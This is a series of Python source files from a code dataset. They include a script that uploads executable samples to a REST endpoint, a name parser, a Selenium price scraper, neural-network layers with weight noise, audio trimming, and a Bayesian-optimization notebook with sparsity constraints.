file_list.clear()\n\n\n\n        # if root_dir[1] != '':\n        #     tmp = os.path.join(root_path, p.split(root.split(os.sep)[-1])[1][1:])\n        # else :\n        #     tmp = root_path\n        # if len(dir) != 0 :\n        #     for dir_name in dir :\n        #         try :\n        #             os.mkdir(os.path.join(tmp, dir_name))\n        #         except :\n        #             pass\n        if not dir:\n            dir_name = p.split(os.sep)[-1]\n\n            if dir_name == \"dll32\" or dir_name == \"exe32\":\n                for file in files:\n                    ret.append(os.path.join(p, file))\n                    file_list.append(file)\n\n            if dir_name == \"dll64\" or dir_name == \"exe64\":\n                for file in files:\n                    file_list.append(file)\n\n    return ret\n\n\ndef get_file_name ( file_path ) :\n    return os.path.basename(file_path)\n\n\ndef send_file(file_path):\n    with open(file_path, 'rb') as f:\n        file_name = get_file_name(file_path)\n        fs = {'file' : (file_name, f)}\n        r = requests.post(REST_URL, files=fs)\n        if r.status_code == 200:\n            print(\"{} is succeeded\".format(file_name))\n        else :\n            print(\"{} is failed\".format(file_name))\n\n\ndef run(root, process_count=os.cpu_count()):\n    file_path_list = explorer(root)\n    mp.freeze_support()\n    p = mp.Pool(process_count)\n    p.map(send_file, file_path_list)\n\n\nif __name__ == '__main__':\n    if len(sys.argv) == 2:\n        start = time.time()\n        run(sys.argv[1])\n        print(\"Time : {}\".format(time.time() - start))\n    elif len(sys.argv) == 3:\n        start = time.time()\n        run(sys.argv[1], int(sys.argv[2]))\n        print(\"Time : {}\".format(time.time() - start))\n\n\n","sub_path":"script/upload_virussign.py","file_name":"upload_virussign.py","file_ext":"py","file_size_in_byte":2793,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"391097444","text":"\"\"\"Various routines that deal with names\"\"\"\ndef formatfullname(name):\n    \"\"\"Returns a string of the name, including all fields that are present\"\"\"\n    res=\"\"\n    full=name.get(\"full\", \"\")\n    fml=\"\"\n    f=name.get(\"first\", \"\")\n    m=name.get(\"middle\", \"\")\n    l=name.get(\"last\", \"\")\n    if len(f) or len(m) or len(l):\n        fml+=f\n        if len(m) and len(fml) and fml[-1]!=' ':\n            fml+=\" \"\n        fml+=m\n        if len(l) and len(fml) and fml[-1]!=' ':\n            fml+=\" \"\n        fml+=l\n    if len(fml) or len(full):\n        if fml==full:\n            res+=full\n        else:\n            if len(full):\n                res+=full\n            if len(fml):\n                if len(res):\n                    res+=\" | \"\n                res+=fml\n    if name.has_key(\"nickname\"):\n        res+=\" (\"+name[\"nickname\"]+\")\"\n    return res\ndef formatsimplename(name):\n    \"like L{formatname}, except we use the first matching component\"\n    if len(name.get(\"full\", \"\")):\n        return name.get(\"full\")\n    f=name.get(\"first\", \"\")\n    m=name.get(\"middle\", \"\")\n    l=name.get(\"last\", \"\")\n    if len(f) or len(m) or len(l):\n        return \" \".join([p for p in (f,m,l) if len(p)])\n    return name.get('nickname', \"\")\ndef formatsimplelastfirst(name):\n    \"Returns the name formatted as Last, First Middle\"\n    f,m,l=getparts(name)\n    if len(l):\n        if len(f+m):\n            return l+\", \"+\" \".join([f,m])\n        return l\n    return \" \".join([f,m])\ndef getfullname(name):\n    \"\"\"Gets the full name, joining the first/middle/last if necessary\"\"\"\n    if name.has_key(\"full\"):\n        return name[\"full\"]\n    parts=[name.get(part, \"\") for part in (\"first\", \"middle\", \"last\")]\n    return \" \".join([part for part in parts if len(part)])\nlastparts= [ \"van\", \"von\", \"de\", \"di\" ]\ndef getparts(name):\n    \"\"\"Returns (first, middle, last) for name.  If the part doesn't exist\n    then a blank string is returned\"\"\"\n    for i in (\"first\", \"middle\", \"last\"):\n        if name.has_key(i):\n            return (name.get(\"first\", \"\"), name.get(\"middle\", \"\"), name.get(\"last\", \"\"))\n    if not name.has_key(\"full\"):\n        return (name.get(\"nickname\", \"\"), \"\", \"\")\n    n=name.get(\"full\")\n    parts=n.split()\n    if len(parts)<=1:\n        return (n, \"\", \"\")\n    if len(parts)==2:\n        return (parts[0], \"\", parts[1])\n    f=[parts[0]]\n    m=[]\n    l=[parts[-1]]\n    del parts[0]\n    del parts[-1]\n    while len(parts) and (parts[-1][0].lower()==parts[-1][0] or parts[-1].lower() in lastparts):\n        l=[parts[-1]]+l\n        del parts[-1]\n    m=parts\n    return (\" \".join(f), \" \".join(m), \" \".join(l))\ndef getfirst(name):\n    return getparts(name)[0]\ndef getmiddle(name):\n    return getparts(name)[1]\ndef getlast(name):\n    return getparts(name)[2]\n","sub_path":"BitPim/rev3177-3296/base-trunk-3177/nameparser.py","file_name":"nameparser.py","file_ext":"py","file_size_in_byte":2734,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"209484433","text":"chrome_driver_path = \"C:/Yogesh/Softwares/chromedriver_win32/chromedriver.exe\"\nfrom selenium import webdriver\ndriver = webdriver.Chrome(executable_path=chrome_driver_path)\n\ndriver.get(\"https://www.amazon.in/dp/B07X8V5YKR/ref=pc_mcnc_merchandised-search-11_?pf_rd_s=merchandised-search-11&pf_rd_t=Gateway&pf_rd_i=mobile&pf_rd_m=A1VBAL9TL5WCBF&pf_rd_r=TQEZZ2RGHSW33KFQGDSJ&pf_rd_p=4c0716f1-441a-47ee-ad12-281cdb914f9a\")\nprice = driver.find_element_by_id(\"priceblock_dealprice\")\n# price = driver.find_element_by_id(\"\")\nprint(price.text)\npriceX = driver.find_element_by_xpath('//*[@id=\"priceblock_dealprice\"]')\nprint(priceX.text)\n# driver.close()\ndriver.quit()","sub_path":"Day48-Selenium/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":656,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"200157418","text":"from teem import OperationPayload\n\n\nclass Server():\n    \"\"\"Receives operations from clients, transforms, and replies to clients.\"\"\"\n\n    def __init__(self, document, storage):\n        self.document = document\n        self.storage = storage\n\n    def receive_operation(self, operation_payload):\n        \"\"\"\n        Handles an incoming operation from a client.\n\n        Receives the operation, transforms it against all subsequent\n        operations, applies it to the current document, and returns the\n        operation to send to all clients.\n        \"\"\"\n        parent = operation_payload.parent\n        operation = operation_payload.operation\n        subsequent_operations = self.storage.get_subsequent(operation_payload)\n        for subsequent_operation in subsequent_operations:\n            operation, _ = operation.transform(subsequent_operation.operation)\n            parent = subsequent_operation.parent\n        self.document = operation.apply(self.document)\n        operation_payload = OperationPayload(\n            parent,\n            operation_payload.uuid,\n            operation,\n        )\n        self.backend.save_operation(operation_payload)\n        return operation_payload\n","sub_path":"teem/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":1188,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"368968066","text":"from TaxonDictionary import TaxonDictionary\n\nclass TaxonPackage(TaxonDictionary):\n\t\"\"\" Пакет. Контейнер для группы модулей и других пакетов.\n\tДля Wpp-сообщества (и большинства других) это директория.\n\tНо для JS может осуществляться объединение пакетов и модулей в один файл.\n\t\"\"\"\n\ttype = 'Package'\n\n\tdef export(self, outContext):\n\t\tnewContext = outContext.createFolder(self.name)\n\t\tself.onNewFolder(newContext)\n\t\tfor item in self.items:\n\t\t\titem.export(newContext)\n\n\tdef onNewFolder(self, outContext):\n\t\tpass\n\n\tdef findUp(self, name, fromWho, source):\n\t\t\"\"\" Поиск внутри пакета предполагает, что надо искать во вложенных пакетах и модулях\n\t\t\"\"\"\n\t\tif self.name == name:\n\t\t\treturn self\n\t\tresults = []\n\t\tfor i in self.items:\n\t\t\tif i != fromWho:\n\t\t\t\t# Имя модуля не участвует в поиске. Т.к. часто имя класса совпадает с именем модуля. И нужно находить класс, а не модуль\n\t\t\t\tif i.name == name and i.type != 'Module':\n\t\t\t\t\treturn i\n\t\t\t\tresults += i.findDown(name)\n\t\tif len(results) == 1:\n\t\t\treturn results[0]\n\t\t# Вполне возможно, что в разных пакетах будут таксоны с одинаковыми именами\n\t\t# В этом случае нужно сгенерировать ошибку. Т.к. для точного указания нужно имя пакета\n\t\tif len(results) > 1:\n\t\t\tmsg = 'Multiply declaration of \"'+name+'\" in ['\n\t\t\tmsg += ', '.join([res.getPath() for res in results]) + ']'\n\t\t\tsource.throwError(msg)\n\t\tif self.owner:\n\t\t\treturn self.owner.findUp(name, self, source)\n\n\tdef findDown(self, name):\n\t\t\"\"\" Поиск вниз для пакета предполагает обход всех подчиненных\n\t\tПотому что это подчиненные пакеты или модули\n\t\t\"\"\"\n\t\tresults = []\n\t\tif self.name == name:\t# Пакеты участвуют в поиске по имени, в отличие от модулей\n\t\t\tresults.append(self)\n\t\tfor i in self.items:\n\t\t\tresults += i.findDown(name)\n\t\treturn results\n","sub_path":"src/core/TaxonPackage.py","file_name":"TaxonPackage.py","file_ext":"py","file_size_in_byte":2308,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"51330724","text":"'''\n\n  Created by irving on 8/10/18\n\n'''\nimport pickle\nimport cv2\nfrom modules.sample import Sample\nfrom modules.loader import Loader\nfrom modules.settings import ProjectSettings\nimport random\n\nwith open('body_face_sample.pickle', 'rb') as f:\n    body_face_samples: {str: Sample} = pickle.load(f)\nwith open('car_sample.pickle', 'rb') as f:\n    car_samples: {str: Sample} = pickle.load(f)\n\ncustom_samples = body_face_samples.copy()\ncustom_samples.update(car_samples)\n\nkeys = list(custom_samples.keys())\nrandom.shuffle(keys)\ncustom_samples = {key: custom_samples[key] for key in keys}\n\nsettings = ProjectSettings(\"settings.yaml\")\n\n# Load the label mapping.\nloader = Loader()\nloader.load_labels(settings.LABELS_FILE)\n\nbody_face_labels = ['/m/04yx4', '/m/03bt1vf', '/m/01g317', '/m/05r655', '/m/01bl7v',\n                    '/m/0dzct', '/m/04hgtk']\n\ncar_labels = ['/m/01prls']\n\nfor key, value in custom_samples.items():\n    labelled_image = value.get_visualized_image_custom_label(label_map_function=loader.get_label,\n                                                             custom_label=car_labels + body_face_labels)\n    cv2.imwrite(ProjectSettings.instance().CUSTOM_LABELLED_DIRECTORY +\n                key + '.jpg', labelled_image)\n    cv2.imshow('Vis', labelled_image)\n    cv2.waitKey(0)\n","sub_path":"custom_visualization.py","file_name":"custom_visualization.py","file_ext":"py","file_size_in_byte":1293,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"606914197","text":"from app import app\nfrom app.models import User\nfrom flask_script import Manager\n\nmanage = Manager(app)\n\n@manage.command\ndef save():\n    todo = User(username='study flask')\n    todo.save()\n\n\n\nif __name__ =='__main__':\n    manage.run()","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":234,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"466144497","text":"# Lint as: python3\n# Copyright 2020 Google LLC\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#     https://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\nr\"\"\"Runs shot classification on video files.\n\nCan output to either a video file or to the UI (default).\n\nRequires cv2 from `sudo apt-get install python3-opencv`\n\npython3 examples/video_file_demo.py \\\n  --input_video data/shot_classification.mp4\n  --input_video data/shot_classification_annotated.mp4\n  --model data/shot_classification_model.pb \\\n  --label data/shot_classification_label_map.pbtxt\n\nTo output to UI instead of file, do not include the \"--output_video\" argument.\n\npython3 examples/video_file_demo.py \\\n  --input_video data/shot_classification.mp4\n  --model data/shot_classification_model.pb \\\n  --label data/shot_classification_label_map.pbtxt\n\nPress Q key to exit.\n\"\"\"\nimport argparse\nfrom automl_video_ondevice import shot_classification as vcn\nimport utils\n\ntry:\n  import cv2  # pylint: disable=g-import-not-at-top\nexcept:  # pylint: disable=bare-except\n  print(\"Couldn't load cv2. Try running: sudo apt install python3-opencv.\")\n\n\ndef main():\n  default_video = 'data/shot_classification.mp4'\n  default_model = 'data/shot_classification_model.pb'\n  default_labels = 'data/shot_classification_label_map.pbtxt'\n  parser = argparse.ArgumentParser()\n  parser.add_argument('--model', help='model path', default=default_model)\n  parser.add_argument(\n      '--labels', help='label file path', default=default_labels)\n  parser.add_argument(\n      '--input_video', help='input video file path', default=default_video)\n  parser.add_argument(\n      '--output_video', help='output video file path', default='')\n  parser.add_argument(\n      '--threshold', type=float, default=0.2, help='class score threshold')\n  parser.add_argument(\n      '--use_tracker', type=bool, default=False, help='use an object tracker')\n  parser.add_argument(\n      '--top_k',\n      type=int,\n      default=1,\n      help='The number of results to return, ordered by highest to lowest score.'\n  )\n  args = parser.parse_args()\n\n  print('Loading %s with %s labels.' % (args.model, args.labels))\n\n  config = vcn.ShotClassificationConfig(\n      score_threshold=args.threshold, top_k=args.top_k)\n  engine = vcn.load(args.model, args.labels, config)\n  input_size = engine.input_size()\n\n  cap = cv2.VideoCapture(args.input_video)\n\n  writer = None\n  if cap.isOpened() and args.output_video:\n    writer = cv2.VideoWriter(args.output_video, cv2.VideoWriter_fourcc(*'mp4v'),\n                             cap.get(cv2.CAP_PROP_FPS),\n                             (int(cap.get(cv2.CAP_PROP_FRAME_WIDTH)),\n                              int(cap.get(cv2.CAP_PROP_FRAME_HEIGHT))))\n\n  timestamp = 0\n  while cap.isOpened():\n    ret, frame = cap.read()\n\n    if not ret:\n      break\n\n    # Resizes frame.\n    resized_frame = cv2.resize(frame, (input_size.width, input_size.height))\n    rgb_frame = cv2.cvtColor(resized_frame, cv2.COLOR_BGR2RGB)\n\n    # Calculates current microsecond for timestamp.\n    timestamp = int(timestamp + (1/cap.get(cv2.CAP_PROP_FPS)) * 1000 * 1000)\n\n    # Run inference engine to populate annotations array.\n    annotations = []\n    if engine.run(timestamp, rgb_frame, annotations):\n      frame = utils.render_classifications(frame, annotations)\n\n    if writer:\n      writer.write(frame)\n    else:\n      cv2.imshow('frame', frame)\n      if cv2.waitKey(1) & 0xFF == ord('q'):\n        break\n\n  if writer:\n    writer.release()\n  else:\n    cv2.destroyAllWindows()\n  cap.release()\n\n\nif __name__ == '__main__':\n  main()\n","sub_path":"examples/video_classification_file_demo.py","file_name":"video_classification_file_demo.py","file_ext":"py","file_size_in_byte":3990,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"467122473","text":"from lib import *\nimport hw6\nfrom hw6 import *\n\n\nclass Div2(Pretty):\n\n    def __init__(i, lst, x=0, y=6, yis=\"Num\"):\n        i.yis = yis\n        i.x_lst, i.y_lst = i.getObjects(sorted(lst, key=lambda xyz: xyz[y]), yis, x, y)\n        i.b4 = i.y_lst\n        # print(i.x_lst.sd,i.y_lst.mode)\n        i._lst = i.y_lst.numList if i.yis == \"Num\" else i.y_lst.symList\n        i.gain = 0\n        i.step = int(i.y_lst.count ** THE.div.min)\n        i.stop = last(i._lst)\n        i.start = first(i._lst)\n        i.ranges = []\n        i.xranges = []\n        i.epsilon = i.b4.sd * THE.div.cohen\n        # print(i.epsilon)\n        i.rank, i.cut, i.best = i.__divide(1, i.y_lst.count, i.b4, 1)\n        i.gain /= len(i._lst)\n\n    def getObjects(i, data, yis, x, y):\n        x_lst = hw6.Num()\n        if yis == \"Num\":\n            y_lst = hw6.Num()\n        else:\n            y_lst = hw6.Sym()\n        for i in data:\n            x_lst.num2(i[x])\n            if yis == \"Num\":\n                y_lst.num2(i[y])  # change\n            else:\n                y_lst.Sym2(i[y])\n        return x_lst, y_lst\n\n    def xis(i, lst):\n        num = hw6.Num()\n        for i in lst:\n            num.num2(i)\n        return num\n\n    def yis1(i, lst, key):\n        sym = hw6.Sym()\n        for row in lst:\n            sym.Sym2(row[key])\n        return sym\n\n    def symSplit(i, lst):\n        sym = hw6.Sym()\n        for i in lst:\n            sym.Sym2(i)\n        return sym\n\n    def xSplit(i):\n        start = 0\n        for j in i.ranges:\n            i.xranges.append(i.xis(i.x_lst.numList[start:start + j.count]))\n            start += j.count\n        return 1, len(i.ranges)\n\n    def printSplits(i):\n        if i.yis == \"Num\":\n            print(\"\\nPart 1:\")\n            for k in range(len(i.ranges)):\n                x = i.xranges[k]\n                y = i.ranges[k]\n                print(k + 1, \"  x.n\\t\" + str(x.count) + \" | x.lo \\t\" + str(\n                    round(x.lo, 5)) + \" | x.hi \\t\" + str(\n                    round(x.hi, 5)) + \" | y.lo \\t\" + str(round(y.lo, 5)) + \" | y.hi \\t\" + str(round(y.hi, 5)))\n        else:\n            print(\"\\nPart 2:\")\n            for k in range(len(i.ranges)):\n                x = i.xranges[k]\n                y = i.ranges[k]\n                print(k + 1, \"  x.n\\t\" + str(x.count) + \" | x.lo \\t\" + str(\n                    round(x.lo, 5)) + \" | x.hi \\t\" + str(\n                    round(x.hi, 5)) + \"  | y.mode \\t\" + str(y.mode) + \" | y.ent \\t \" + str(round(y.sd, 5)))\n\n    def __divide(i, lo, hi, b4, rank):\n\n        \"Find a split between lo and hi, then recurse on each split.\"\n\n        if i.yis == \"Num\":\n            l = i.xis([])\n            r = i.xis(i._lst[lo:hi])\n            i.stop = last(b4.numList)\n            i.start = first(b4.numList)\n        else:\n            l = i.symSplit([])\n            r = i.symSplit(i._lst[lo:hi])\n            i.stop = last(b4.symList)\n            i.start = first(b4.symList)\n        i.epsilon = b4.sd * THE.div.cohen\n        best = b4.sd\n        cut = None\n        for j in range(lo, hi):\n            if i.yis == \"Num\":\n                print(i._lst[j])\n                l.num2(i._lst[j])\n                r.numLess2(0)\n                print(r.numList)\n            else:\n                l.Sym2(i._lst[j])\n                r.symLess(i._lst[j])\n\n            if l.count >= i.step:\n                if r.count >= i.step:\n                    now = i._lst[j - 1]\n                    after = i._lst[j]\n                    if now == after: continue\n                    if i.yis == \"Num\":\n                        if abs(r.mu - l.mu) >= i.epsilon:\n                            if after - i.start >= i.epsilon:\n                                if i.stop - now >= i.epsilon:\n                                    xpect = l.xpect(r)\n                                    if xpect * THE.div.trivial < best:\n                                        best, cut = xpect, j\n                    else:\n                        if abs(ord(l.mode) - ord(r.mode)) >= i.epsilon:\n                            if ord(after) - ord(i.start) >= i.epsilon:\n                                if ord(i.stop) - ord(now) >= i.epsilon:\n                                    xpect = l.xpect(r)\n                                    if xpect * THE.div.trivial < best:\n                                        best, cut = xpect, j\n        if cut:\n            ls, rs = i._lst[lo:cut], i._lst[cut:hi]\n            if i.yis == \"Num\":\n                rank = i.__divide(lo, cut, i.xis(ls), rank)[0] + 1\n                rank = i.__divide(cut, hi, i.xis(rs), rank)[0]\n            else:\n                rank = i.__divide(lo, cut, i.symSplit(ls), rank)[0] + 1\n                rank = i.__divide(cut, hi, i.symSplit(rs), rank)[0]\n        else:\n            i.gain += b4.count * b4.sd\n            b4.rank = rank\n            i.ranges += [b4]\n        return rank, cut, best\n","sub_path":"hw/6/div.py","file_name":"div.py","file_ext":"py","file_size_in_byte":4832,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"459819718","text":"'''VGG11/13/16/19 in Pytorch.\n\nWe perturb the weight and bias parameters for convolutional, linear and batch\nnormalization layers.\n\n'''\nimport torch.nn as nn\nimport torch\nimport torch.nn.functional as F\nfrom torch.nn.modules.utils import _pair\n\ncfg = {\n    'VGG11': [64, 'M', 128, 'M', 256, 256, 'M', 512, 512, 'M', 512, 512, 'M'],\n    'VGG13': [64, 64, 'M', 128, 128, 'M', 256, 256, 'M', 512, 512, 'M', 512,\n              512, 'M'],\n    'VGG16': [64, 64, 'M', 128, 128, 'M', 256, 256, 256, 'M', 512, 512, 512,\n              'M', 512, 512, 512, 'M'],\n    'VGG19': [64, 64, 'M', 128, 128, 'M', 256, 256, 256, 256, 'M', 512, 512,\n              512, 512, 'M', 512, 512, 512, 512, 'M'],\n}\n\n\ndef perturb_param(param, param_noise, buffer_noise):\n    if param_noise > 0:\n        buffer_noise.normal_(0, param_noise)\n    return param + buffer_noise\n\n\nclass LinearNoise(nn.Linear):\n    \"\"\"\n    For the linear layer we perturb the weights and the additive bias.\n    \"\"\"\n\n    def __init__(self, in_features, out_features, bias=True,\n                 param_noise=0.04):\n        super(LinearNoise, self).__init__(in_features=in_features,\n                                          out_features=out_features,\n                                          bias=bias)\n        self.param_noise = param_noise\n        self.buffer_weight_noise = None\n\n    def forward(self, input):\n        if self.buffer_weight_noise is None:\n            self.buffer_weight_noise = torch.zeros_like(\n                self.weight, requires_grad=False)\n            if self.param_noise > 0:\n                self.buffer_weight_noise.normal_(\n                    0, self.param_noise).to(self.weight.device)\n        weight = perturb_param(param=self.weight,\n                               param_noise=self.param_noise,\n                               buffer_noise=self.buffer_weight_noise)\n        return F.linear(input, weight, self.bias)\n\n\nclass BatchNorm2dNoise(nn.BatchNorm2d):\n    def __init__(self, num_features,\n                 param_noise=0.04):\n        super(BatchNorm2dNoise, self).__init__(num_features=num_features)\n        self.param_noise = param_noise\n        self.buffer_weight_noise = None\n\n    def forward(self, input):\n        self._check_input_dim(input)\n\n        if self.buffer_weight_noise is None:\n            self.buffer_weight_noise = torch.zeros_like(\n                self.weight, requires_grad=False)\n            if self.param_noise > 0:\n                self.buffer_weight_noise.normal_(\n                    0, self.param_noise).to(self.weight.device)\n        weight = perturb_param(param=self.weight,\n                               param_noise=self.param_noise,\n                               buffer_noise=self.buffer_weight_noise)\n        # exponential_average_factor is set to self.momentum\n        # (when it is available) only so that if gets updated\n        # in ONNX graph when this node is exported to ONNX.\n        if self.momentum is None:\n            exponential_average_factor = 0.0\n        else:\n            exponential_average_factor = self.momentum\n\n        if self.training and self.track_running_stats:\n            # TODO: if statement only here to tell the jit to skip emitting this when it is None\n            if self.num_batches_tracked is not None:\n                self.num_batches_tracked += 1\n                if self.momentum is None:  # use cumulative moving average\n                    exponential_average_factor = 1.0 / float(\n                        self.num_batches_tracked)\n                else:  # use exponential moving average\n                    exponential_average_factor = self.momentum\n\n        return F.batch_norm(\n            input, self.running_mean, self.running_var, weight, self.bias,\n            self.training or not self.track_running_stats,\n            exponential_average_factor, self.eps)\n\n\nclass VGG(nn.Module):\n    def __init__(self, vgg_name, param_noise=0.04):\n        super(VGG, self).__init__()\n        self.param_noise = param_noise\n        self.classifier = LinearNoise(512, 10, param_noise=self.param_noise)\n        self.features = self._make_layers(cfg[vgg_name])\n\n    def forward(self, x):\n        out = self.features(x)\n        out = out.view(out.size(0), -1)\n        out = self.classifier(out)\n        return out\n\n    def _make_layers(self, cfg):\n        layers = []\n        in_channels = 3\n        for i, x in enumerate(cfg):\n            if x == 'M':\n                layers += [nn.MaxPool2d(kernel_size=2, stride=2)]\n            else:\n                layers += [\n                    nn.Conv2d(in_channels, x, kernel_size=3, padding=1),\n                    BatchNorm2dNoise(x, param_noise=self.param_noise),\n                    nn.ReLU(inplace=True)]\n                in_channels = x\n        layers += [nn.AvgPool2d(kernel_size=1, stride=1)]\n        return nn.Sequential(*layers)\n\n# net = VGG('VGG11')\n# x = torch.randn(2,3,32,32)\n# print(net(Variable(x)).size())\n","sub_path":"cnns/nnlib/pytorch_architecture/vgg_perturb_fc_bn.py","file_name":"vgg_perturb_fc_bn.py","file_ext":"py","file_size_in_byte":4902,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"548269721","text":"from pydub import AudioSegment\nfrom scipy.io.wavfile import write\nimport numpy as np\nimport sys\n\n\naudio_path = sys.argv[1]\nnew_audio_path = sys.argv[2]\naudio_format = \"wav\"\n\n\ndef detect_leading_silence(sound, silence_threshold=-50.0, chunk_size=10):\n    trim_ms = 0  # ms\n\n    assert chunk_size > 0  # to avoid infinite loop\n    while sound[\n        trim_ms : trim_ms + chunk_size\n    ].dBFS < silence_threshold and trim_ms < len(sound):\n        trim_ms += chunk_size\n\n    return trim_ms\n\n\nsound = AudioSegment.from_file(audio_path, format=audio_format)\n\nstart_trim = detect_leading_silence(sound)\nend_trim = detect_leading_silence(sound.reverse())\n\nduration = len(sound)\ntrimmed_sound = sound[start_trim : duration - end_trim]\n\ntrimmed_sound.export(new_audio_path, format=audio_format)\n\n","sub_path":"removeSilence.py","file_name":"removeSilence.py","file_ext":"py","file_size_in_byte":788,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"478212367","text":"# %% [markdown]\n# ## Using non-linear inequality constraints in Ax\n# This notebook comes with the following caveats:\n# 1. The search space has to be [0, 1]^d\n# 2. We need to pass in explicit `batch_initial_conditions` that satisfy the non-linear inequality constraints as starting points for optimizing the acquisition function.\n# 3. BATCH_SIZE must be equal to 1.\n\n# %%\nfrom copy import copy\nfrom os.path import join\nfrom pathlib import Path\nimport random\nimport warnings\n\nimport numpy as np\nimport pandas as pd\nimport torch\n\nfrom botorch.acquisition import ExpectedImprovement\nfrom botorch.fit import fit_gpytorch_model\nfrom botorch.models import SingleTaskGP\nfrom botorch.models.transforms import Standardize\nfrom gpytorch.mlls import ExactMarginalLogLikelihood\nfrom torch.nn.functional import normalize\n\nfrom ax import (\n    Data,\n    Experiment,\n    ParameterType,\n    RangeParameter,\n    SearchSpace,\n    SumConstraint,\n)\n\nfrom ax.storage.json_store.save import save_experiment\n\n# %%\nfrom ax.core.objective import Objective\nfrom ax.core.optimization_config import OptimizationConfig\nfrom utils.extraordinary import extraordinary_probability\n\nfrom utils.metrics import CrabNetMetric\nfrom utils.search import search_space\n\n# from ax.utils.measurement.synthetic_functions import Hartmann6\nfrom ax.modelbridge.registry import Models\nfrom ax.runners.synthetic import SyntheticRunner\nfrom torch.quasirandom import SobolEngine\n\nfrom utils.sobol_candidates import nchoosek_sobol\n\ndummy = False\n\nresult_dir = \"results\"\nPath(result_dir).mkdir(exist_ok=True)\n\nnoise_sd = 0.1\nsynth_dither = 0.1\nsem = None\n\nd = 5  # HARD-CODED PARAMETER, i.e. 5 + 1 = 6 for Hartmann6Metric\nparam_names = [f\"x{i}\" for i in range(d + 1)]\nsubparam_names = param_names[:-1]  # sub-parameter names (i.e. all but last component)\nparams = [\n    RangeParameter(\n        name=parameter_name, parameter_type=ParameterType.FLOAT, lower=0.0, upper=1.0,\n    )\n    for parameter_name in subparam_names\n]\n\nmetric = CrabNetMetric(name=\"objective\")\noptimization_config = OptimizationConfig(\n    objective=Objective(metric=metric, minimize=True,)\n)\n\n# %% Let's see how we do via a brute force search\nif dummy:\n    comb_m = 10\nelse:\n    comb_m = 18\ncandidates = nchoosek_sobol(\n    param_names, n_slots=3, comb_m=comb_m, fixed_compositions=False\n)\nprint(f\"{len(candidates)} SOBOL candidates generated\")\n# compute the dither all at once, and add it to hartmann6 to get \"true\" fn\ndither = metric.interp(candidates)\nnoise_free = metric.f_without_dither\nys = [noise_free(x) for x in candidates.values[:, :5]]\nys = np.array(ys) + dither\nidx = np.argmin(ys)\nprint(f\"minimum estimated via SOBOL search with true values: {ys[idx]:.4f}\")\nx_opt = candidates.iloc[idx]\n\n# probability of finding a candidate within some percent of the estimated optimum\nys_noise = ys + noise_sd * np.random.randn(len(ys))\n# for seemingly extraordinary candidates, do repeats to verify (i.e. with true values)\n# mn = min(ys)\n# mx = max(ys)\nmn = -1.484  # as estimated by SAASBO\nprint(f\"minimum estimated previously by SAASBO: {mn:.3f}\")\nmx = 0.0\nthresh = 0.10  # i.e. within 10% of optimum\n\nextraordinary_probability(ys, ys_noise, mx=mx, mn=mn, thresh=thresh)\n\n# %% [markdown]\n# We want to optimize $f_{\\text{hartmann6}}(x)$ subject to an additional constraint $|| x ||_0 <= 3$.\n#\n# This constraint isn't differentiable, but it can be approximated by a differentiable relaxation using a sum of narrow Gaussian basis functions.\n# Given a univariate Gaussian basis function $g_{\\ell}(x)$ centered at zero with $\\ell > 0$ small,\n# we can approximate the constraint by: $|| x ||_0 \\approx 6 - \\sum_{i=1}^6 g_{\\ell}(x_i) \\leq 3$, which reduces to $\\sum_{i=1}^6 g_{\\ell}(x_i) \\geq 3$.\n\n# %%\ndef narrow_gaussian(x, ell):\n    return torch.exp(-0.5 * (x / ell) ** 2)\n\n\ndef ineq_constraint(x, ell=1e-3):\n    # Approximation of || x ||_0 <= 3. The constraint is >= 0 to conform with SLSQP\n    return narrow_gaussian(x, ell).sum(dim=-1) - 3\n\n\n# %% [markdown]\n# ## BO-loop\n\n# %%\ndef get_batch_initial_conditions(n, X, Y, raw_samples):\n    \"\"\"Generate starting points for the acquisition function optimization.\"\"\"\n    # 1. Draw `raw_samples` Sobol points and randomly set three parameters to zero to satisfy the constraint\n    X_cand = SobolEngine(dimension=d, scramble=True).draw(raw_samples)\n    X_cand = normalize(X_cand).to(torch.double)\n    inds = torch.argsort(torch.rand(raw_samples, d), dim=-1)[:, :3]\n    X_cand[torch.arange(X_cand.shape[0]).unsqueeze(-1), inds] = 0\n\n    # 2. Fit a GP to the observed data, the right thing to do is to use the Ax model here\n    gp = SingleTaskGP(X, Y, outcome_transform=Standardize(m=1))\n    mll = ExactMarginalLogLikelihood(gp.likelihood, gp)\n    fit_gpytorch_model(mll)\n\n    # 3. Use EI to select the best points. Ideally, we should use the Ax acquisition function here as well\n    EI = ExpectedImprovement(model=gp, best_f=Y.min(), maximize=False)\n    X_cand = X_cand.unsqueeze(1)\n    acq_vals = EI(X_cand)\n    return X_cand[acq_vals.topk(n).indices]\n\n\n# %%\nBATCH_SIZE = 1\nif dummy:\n    N_INIT = 5\n    N_BATCHES = 2\nelse:\n    N_INIT = 10\n    N_BATCHES = 90\nprint(f\"Doing {N_INIT + N_BATCHES * BATCH_SIZE} evaluations\")\n\n# %%\n# 